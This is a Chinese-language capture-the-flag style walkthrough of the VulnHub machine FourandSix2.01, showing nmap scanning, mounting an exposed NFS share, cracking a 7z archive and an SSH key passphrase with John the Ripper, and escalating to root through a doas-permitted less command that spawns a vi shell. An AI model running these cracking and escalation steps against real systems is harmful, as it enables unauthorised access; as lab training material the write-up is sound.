[VulnHub靶机渗透] FourandSix2.01

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

二、信息收集+渗透测试

1、NFS渗透

2、7z压缩包的密码破解

3、ssh私钥登录

三、信息收集+提权

1、信息收集

2、less+vi提权


前言

靶机精讲之FourandSix2.01。vulnhub靶机,涉及7z压缩包暴力破解,ssh密语暴力破解,用到7z2john和ssh2john工具,还有doas下less命令+vi编辑器提权。机器是OpenBSD系统,不多见,小巧精悍,细节满满,是很不错的密码暴力破解演示和提权技巧示范。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.102

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

扫描端口发现,开放了22、111、832、2049端口

┌──(root💀kali)-[~]
└─# nmap --min-rate 10000 -p- 192.168.31.102

扫描UDP端口的开放情况,其中参数-sU表示进行UDP扫描,- -top-port 40表示扫描前40个常用端口。

┌──(root💀kali)-[~]
└─# nmap -sU --top-port 40 192.168.31.102

扫描发现了2049UDP端口开放了nfs协议,我们可以利用靶场的nfs协议查看下有哪些共享文件,看看对我们渗透有没有价值。

NFS(Network File System)是一种网络文件系统协议,它允许不同操作系统之间共享文件和文件系统。NFS最初由Sun Microsystems开发,并成为了UNIX和类UNIX系统中最常用的网络文件系统协议之一。

使用NFS,一个计算机可以将其文件系统的一部分或全部共享给其他计算机,使得其他计算机可以通过网络访问和操作这些文件。NFS使用客户端-服务器模型,其中一个计算机充当NFS服务器,而其他计算机则作为NFS客户端连接到服务器。

3、漏洞扫描

也没有什么具体的漏洞发现,端口扫描都没有发现80和8080web页面的,说明这个靶场在其他的地方进行渗透测试,比如我们开始扫描到的nfs服务,我们下一步就可以进行测试下

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,111,832,2049 192.168.31.102 

二、信息收集+渗透测试

1、NFS渗透

要在Kali Linux上查看已共享的NFS文件,你可以执行以下步骤:

  1. 首先,确保你的Kali Linux系统上已安装了nfs-common包。如果没有安装,你可以使用以下命令进行安装:
sudo apt update
sudo apt install nfs-common
  1. 接下来,使用以下命令来查看可用的NFS共享:
showmount -e <NFS服务器IP地址>-e表示exports,可以看到共享目录是/home/user/storage,并且everyone所有人都可以访问
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址。运行该命令后,你将看到NFS服务器上共享的目录列表。
  1. 如果要挂载NFS共享到本地目录以访问文件,可以使用以下命令:
sudo mount <NFS服务器IP地址>:<共享目录> <本地目录>
将<NFS服务器IP地址>替换为实际的NFS服务器的IP地址,<共享目录>替换为希望共享的目录路径,<本地目录>替换为将共享目录挂载到的本地目录路径。成功挂载后,你将能够在本地目录中访问和操作NFS共享的文件。

看起来是个7z的压缩包,我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑:

2、7z压缩包的密码破解

解压.7z压缩包:使用以下命令解压.7z压缩包:

┌──(root💀kali)-[~/桌面/nfsdir]
└─# 7z x backup.7z

发现解压这个7z压缩包需要使用密码,但是我们发现这个压缩包里面有8张图片,然后还有一个私钥和公钥,这对我们很重要,因为我们可以利用私钥进行ssh免密码登录。

干脆就用john爆破吧。由于john爆破只能针对hash文件,因此我们先用7z2john生成7z压缩包的哈希

┌──(root??kali)-[~/桌面/nfsdir]
└─# sudo apt install john   //使用7z2john工具要先下载John the Ripper 

7z2john backup.7z > backup7z_hash

如果师傅们运行7z2john的命令后出现如下报错:

那么解决方法:

提示表明在运行7z2john脚本时,缺少了Compress::Raw::Lzma Perl模块。要解决这个问题,需要安装该模块。只要运行以下两个命令安装即可:

sudo apt update
sudo apt install libcompress-raw-lzma-perl

然后删掉错误生成的backup7z_hash,再次运行7z2john backup.7z > backup7z_hash应该就不会有报错了。查询结束。

生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:

john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hashjohn --show backup7z_hash //查看生成的密码//得到密码是:chocolate

使用密码chocolate,得到8张图片和两个钥匙文件

老规矩,看到图片我们先用file查看具体的文件类型,并用binwalk看看有啥捆绑的,但是没有发现什么有价值的信息。

3、ssh私钥登录

发现id_rsa文件里面的就是一个 OpenSSH 私钥,可以用于ssh远程登录

从id_rsa.pub文件里面发现,这个钥匙的用户就是user,这里我们就是拿到了OpenSSH 私钥和这个账户了,下一步我们就可以进行ssh远程登录了。

登录发现,需要我们输入私钥(id_rsa)的密码短语(passphrase),可是我们没有,但是我们可以把id_rsa进行哈希加密,跟开始7z压缩包原理一样,然后再利用john进行爆破。

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user@192.168.31.102

与破解压缩包的思路类似,先将私钥生成john对应的hash文件,这里命名为id_rsa_hash:

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh2john id_rsa > id_rsa_hash

成功生成了id_rsa_hash,然后用john破解,密码字典指定为rockyou.txt,这里不太了解ssh私钥hash的格式是啥,就干脆不用--format指定,让john自己识别:密码是12345678

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# john --show id_rsa_hash 
id_rsa:123456781 password hash cracked, 0 left

拿到了私钥的passphrase是12345678,然后我们重新用私钥登录,输入passphrase即可成功登录user的shell:

┌──(root💀kali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user@192.168.31.102                            
Enter passphrase for key 'id_rsa': 
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018Welcome to OpenBSD: The proactively secure Unix-like operating system.Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.fourandsix2$ id
uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)
fourandsix2$ whoami
user
fourandsix2$ uname -a
OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64

三、信息收集+提权

1、信息收集

通过进入靶机,我们对靶机进行常规的信息收集,进行sudo提权和SUID以及查看定时任务,还有查看哪些文件具有写入权限的,都没有发现有价值的信息。

2、less+vi提权

在常规的linux系统中,我们拿到初始shell后往往会运行sudo -l查看有什么特殊的信息,但OpenBSD的语法与之不同,无法直接sudo -l。

我们先尝试寻找有什么s位的文件,尝试能否采用suid的方法提权,具有s位的文件表明该文件在运行时能够以其属主权限运行,我们可以借此进行提取,首先在根目录/按照权限-perm搜索具有s权限的文件f:

我们直接用find搜索doas的相关文件:

find / -name doas* -type f 2>/dev/null
fourandsix2$ find / -name doas* -type f 2>/dev/null
/usr/bin/doas
/etc/examples/doas.conf
/etc/doas.conf
fourandsix2$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root

非常关键的信息!这个文件告诉我们,less和authlog指令是可以用doas免密以root权限运行的!那我们就运行试试:

doas /usr/bin/less /var/log/authlog

运行发现再用less读取authlog:

这里我们利用less命令对authlog进行查看,且此时less命令是具有root权限的。但less只能读文件,不能执行系统命令。我们知道在less中按字母v是可以启动vi编辑器的,而vi编辑器中输入冒号:后即可输入交互的指令,又由于less具有root权限,在less中启动的vi编辑器应该也具有root权限。

我们先按v,然后会进入vi编辑模式

再输入:!/bin/sh即可提权,感叹号!用于表示执行系统命令:

发现shell以及变成#号了,说明我们提权成功了,我们这里也成功拿到了root的flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/700238.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

stm32单片机的智能手环-心率-步数-距离-体温-蓝牙监控

一.硬件方案 随着社会的发展&#xff0c;人们的物质生活水平日渐提高&#xff0c;人们也越来越关注自己的健康。智能手环作为一种测量仪器&#xff0c;可以计算行走的步数和消耗的能量&#xff0c;所以人们可以定量的制定运动方案来健身&#xff0c;并根据运行情况来分析人体的…

7.(数据结构)堆

7.1 相关概念 堆&#xff08;Heap&#xff09;在计算机科学中是一种特殊的数据结构&#xff0c;它通常被实现为一个可以看作完全二叉树的数组对象。以下是一些关于堆的基本概念&#xff1a; 数据结构&#xff1a; 堆是一个优先队列的抽象数据类型实现&#xff0c;通过完全二叉树…

AI工具新革命:从ChatGPT到Sora,生成式AI改变世界

这个春节着实精彩&#xff0c;“春山学”吃透了&#xff0c;不如把目光移向OpenAI又一重磅产品——文生视频大模型Sora。智能新纪元已然开启&#xff0c;因为正如周鸿祎所说&#xff1a;“,Sora的诞生意味着AGI&#xff08;通用人工智能&#xff09;的实现将从10年缩短到1年。”…

.netcore 6.0/7.0项目迁移至.netcore 8.0 注意事项

1、SqlSugarCore 相关 1.1 主项目添加数据&#xff0c;否则会报数据库连接错误&#xff1a; <InvariantGlobalization>false</InvariantGlobalization> <PropertyGroup><TargetFramework>net8.0</TargetFramework><Nullable>enable</…

二维码(CTF)misc

知识点&#xff1a;文件剥离zip密码爆破 用到了fcrackzip工具&#xff1a; -b :采用爆破的方式 -c :采用什么类型的密码&#xff0c;1 数字类型 a 小写字母 A 大写字母 ‘aA1’ 大小写字母数字混合等 -l :指定密码的位数 -u :过滤掉不正确的密码记录&#xff1b;只显示正…

C# winfroms使用socket客户端服务端代码详解

文章目录 1️⃣ 通信相关说明1.1服务端与客户端1.2 信息发送原理1.3 信息接收原理 2️⃣ socket代码2.1 客户端代码2.2 服务端代码 3️⃣ 定时任务处理报文3.1 Timers定时任务 优质资源分享 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_4315141…

滚雪球学Java(71):深入剖析Java中的ArrayBlockingQueue底层实现与源码分析

咦咦咦&#xff0c;各位小可爱&#xff0c;我是你们的好伙伴——bug菌&#xff0c;今天又来给大家普及Java SE相关知识点了&#xff0c;别躲起来啊&#xff0c;听我讲干货还不快点赞&#xff0c;赞多了我就有动力讲得更嗨啦&#xff01;所以呀&#xff0c;养成先点赞后阅读的好…

SpringMVC 学习(一)之 SpringMVC 介绍

目录 1 MVC 介绍 2 SpringMVC 介绍 2.1 SpringMVC 特点 2.2 SpringMVC 的核心组件 2.3 SpringMVC 执行流程 3 参考文档 1 MVC 介绍 MVC (Model View Controller) 是一种设计思想&#xff0c;它将应用程序分为三大组件&#xff1a;模型 (Model)、视图 (View)、控制器 (Con…

在openEuler中通过KVM可视化安装华为FusionCompute的VRM节点

一、说明 本文是华为FusionCompute云平台配置的延续&#xff0c;是在CNA&#xff08;ComputingNode Agent&#xff0c;计算节点代理&#xff09;主机安装配置完成后&#xff0c;详细安装VRM&#xff08;Virtual Resource Manager&#xff0c;虚拟资源管理器&#xff09;节点的…

「JavaSE」String类3:字符串常量池

&#x1f387;个人主页&#xff1a;Ice_Sugar_7 &#x1f387;所属专栏&#xff1a;快来卷Java啦 &#x1f387;欢迎点赞收藏加关注哦&#xff01; 字符串常量池 &#x1f349;常量池&#x1f349;字符串常量池&#x1f349;intern 方法 &#x1f349;常量池 在Java程序中&…

微服务-Alibaba微服务nacos实战

1. Nacos配置中心 1.1 微服务为什么需要配置中心 在微服务架构中&#xff0c;当系统从一个单体应用&#xff0c;被拆分成分布式系统上一个个服务节点后&#xff0c;配置文件也必须跟着迁移&#xff08;分割&#xff09;&#xff0c;这样配置就分散了&#xff0c;不仅如此&…

*MYSQL--索引--内部原理

MYSQL的索引根据功能,主要有三大类型: 1.HASH索引 2.二叉树 3.BTREE索引 一:HASH索引 1.内部原理: 在设置了某列为索引列之后,并且开始或者将要在相应索引列创建数据的时候,系统通过某种算法 F(X) 自动计算出来一个十六进制的哈希值,这个哈希值能够对应相应的字段值 所以…

数据之巅:揭秘企业数据分析师如何成为企业的决策智囊

引言 在数字化浪潮中&#xff0c;企业数据分析师已成为企业决策的重要支撑。他们如同探险家&#xff0c;在数据的丛林中寻找着能够指引企业前行的宝贵信息。本文将深入剖析企业数据分析师的角色、挑战与成就&#xff0c;带你领略这个充满智慧与激情的职业风采。 一、从数字到智…

28-k8s集群中-StatefulSets控制器(进阶知识)

一、statefullsets控制器概述 1&#xff0c;举例 假如&#xff0c;我们有一个deployment资源&#xff0c;创建了3个nginx的副本&#xff0c;对于nginx来讲&#xff0c;它是不区分启动或者关闭的先后顺序的&#xff0c;也就是“没有特殊状态”的一个服务&#xff0c;也成“无状…

十四届蓝桥杯国赛考试计算思维 U10 组真题和答案

答案在底部 第一题 恐龙乐园的规划图中有 n 个小岛,m 座小桥,每座桥连接两个小岛。 下图是 n=5,m=8 的一个例子: 希希发现,如果拆除一些桥,仍然能使任何两个小岛都互通。最多可以拆除( )座 桥。 A. n-m B. m-n C. m-m-1 D. m-n+1 第二题

探索设计模式的魅力:状态模式揭秘-如何优雅地处理复杂状态转换

​&#x1f308; 个人主页&#xff1a;danci_ &#x1f525; 系列专栏&#xff1a;《设计模式》 &#x1f4aa;&#x1f3fb; 制定明确可量化的目标&#xff0c;并且坚持默默的做事。 探索设计模式的魅力&#xff1a;状态模式揭秘-如何优雅地处理复杂状态转换 文章目录 一、案例…

VUE3使用three.js显示3D模型

使用3D模型作为自动化系统的界面已经成为潮流。尽管在AutomationML 中推荐COLLADA作为 3D 模型的标准。但是COLLADA的开发者khronos 集团却已经开发了COLLADA的后继者glTF 。glTF 2.0已经成为国际标准ISO/IEC 12113:2022。 Khronos声称-‘glTF是3D里的JPEG’。目前看来glTF 更加…

问题慢慢解决-通过android emulator调试android kernel-内核条件断点遇到的问题和临时解决方案

起因 在摸索到这个方案之后&#xff0c;mac m1调试aarch64 android kernel最终方案&#xff0c;就准备调试内核了&#xff0c;预备下断点的地方是 b binder_poll b ep_ptable_queue_proc b remove_wait_queue但是由于是android系统&#xff0c;上面三个函数会被频繁的触发&am…

ElementUI table表格组件实现双击编辑单元格失去焦点还原,支持多单元格

在使用ElementUI table表格组件时有时需要双击单元格显示编辑状态&#xff0c;失去焦点时还原表格显示。 实现思路&#xff1a; 在数据中增加isFocus:false.控制是否显示在table中用cell-dblclick双击方法 先看效果&#xff1a; 上源码&#xff1a;在表格模板中用scope.row…

springboot集成mqtt

文章目录 前言一、MQTT是什么&#xff1f;二、继承步骤1.安装MQTT2.创建项目&#xff0c;引入依赖3. 对应步骤2的代码3 测试 总结mqtt 启动后访问地址 前言 随着物联网的火热,MQTT的应用逐渐增多 曾经也有幸使用过mqtt,今天正好总结下MQTT的使用; 一、MQTT是什么&#xff1f;…